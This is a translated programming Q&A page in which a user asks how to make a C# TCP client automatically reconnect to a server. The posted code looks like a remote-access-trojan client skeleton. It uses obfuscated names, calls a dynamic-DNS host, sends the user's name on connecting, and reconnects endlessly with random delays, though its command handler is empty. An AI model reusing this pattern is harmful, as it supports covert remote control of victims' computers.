C#将客户端重新连接到服务器

时间:2018-09-01 03:41:17

标签: c# reconnect

我已经尝试了好几天,以使服务器连接关闭时客户端能够检测到它,并进行连接尝试,直到它检测到可用连接(打开服务器)并且尝试与客户端关闭连接时为止。关闭并关闭(shutdown.both)会停止应用程序

感谢您能帮助我,我没有纠正错误或解决代码

 [DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
    public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);

    public static TcpClient QKICDdjIKo = new TcpClient();
    static IPEndPoint MjDHEHn = null;
    static IPHostEntry hostEntry;
    static List<TcpClient> countConnections = new List<TcpClient>();
    static StreamReader reader;
    private static byte[] _readBuffer;
    private static byte[] _tempHeader;
    public static bool Connected { get; private set; }
    public static bool Exiting { get; private set; }
    //

    public static int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB
    public static int HEADER_SIZE { get { return 4; } } // 4B
    private static bool IsConnectionSuccessful = false;
    private static ManualResetEvent TimeoutObject = new ManualResetEvent(false);
    private static Exception socketexception;
    public static bool isconnected;


 public static void Connection()
    {

        TimeoutObject.Reset();
        socketexception = null;
        try
        {

            if (!QKICDdjIKo.Connected)
            {
                _readBuffer = new byte[BUFFER_SIZE];
                _tempHeader = new byte[HEADER_SIZE];
                hostEntry = Dns.GetHostEntry("noip host");
                var ip = hostEntry.AddressList[0];
                MjDHEHn = new IPEndPoint(IPAddress.Parse(ip.ToString()), 4004);
                QKICDdjIKo.Connect(MjDHEHn); // Option 1
                // QKICDdjIKo.BeginConnect("127.0.0.1", 4004, new AsyncCallback(khmcbmPmGPCfIOcPKOBONAbnGnfFIJnpREd), QKICDdjIKo);  //Option 2
                OperatingSystem os_info = Environment.OSVersion;
                ConnectedVerify(Environment.UserName.ToString());
                QKICDdjIKo.GetStream().BeginRead(_readBuffer, 0, _readBuffer.Length, ReadMSG, 0);


            }

        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message);
        }
    }
private static void CallBackMethod(IAsyncResult asyncresult)
    {
        try
        {
            IsConnectionSuccessful = false;
            TcpClient tcpclient = asyncresult.AsyncState as TcpClient;

            if (tcpclient.Client != null)
            {
                tcpclient.EndConnect(asyncresult);
                IsConnectionSuccessful = true;
            }
        }
        catch (Exception ex)
        {
            IsConnectionSuccessful = false;
            socketexception = ex;
        }
        finally
        {
            TimeoutObject.Set();
        }
    }
public Form1()
    {
        InitializeComponent();
        Connect();
    }
 public static void Connect()
    {
        while (!Exiting) // Main Connect Loop
        {
            if (!Connected)
            {
                Thread.Sleep(100 + new Random().Next(0, 250));
                Connection();
                Thread.Sleep(200);

                Application.DoEvents();
            }
            while (Connected) // hold client open
            {
                Application.DoEvents();
                Thread.Sleep(2500);
            }
            if (Exiting)
            {
                //QKICDdjIKo.Close();
                return;
            }
            Thread.Sleep(3000 + new Random().Next(250, 750));
        }
    }
public static void ReadMSG(IAsyncResult now)
    {
        try
        {
            while (true)
            {
                reader = new StreamReader(QKICDdjIKo.GetStream());
                Rd(reader.ReadLine());
                QKICDdjIKo.GetStream().BeginRead(_readBuffer, 0, _readBuffer.Length, ReadMSG, 0);
            }

        }
        catch
        {


        }
    }
public static void HjoLNkEHFaqQCp(string texto)
    {
        try
        {
            StreamWriter DpBoDcECG = new StreamWriter(QKICDdjIKo.GetStream());

            DpBoDcECG.WriteLine(texto);
            DpBoDcECG.Flush();
        }
        catch
        {
            //
        }
    }
 public static void Rd(string msg)
    {

    }
static void Status(string msg)
    {
        try
        {
            StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
            writer.WriteLine("STATUS|" + msg);
            writer.Flush();
        }
        catch
        {

        }
    }
static void ConnectedVerify(string msg)
    {
        StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
        writer.WriteLine("CONNECTED|" + msg);
        writer.Flush();
    }
static void usr(string msg)
    {
        StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
        writer.WriteLine("USER|" + msg);
        writer.Flush();
    }

0 个答案:

没有答案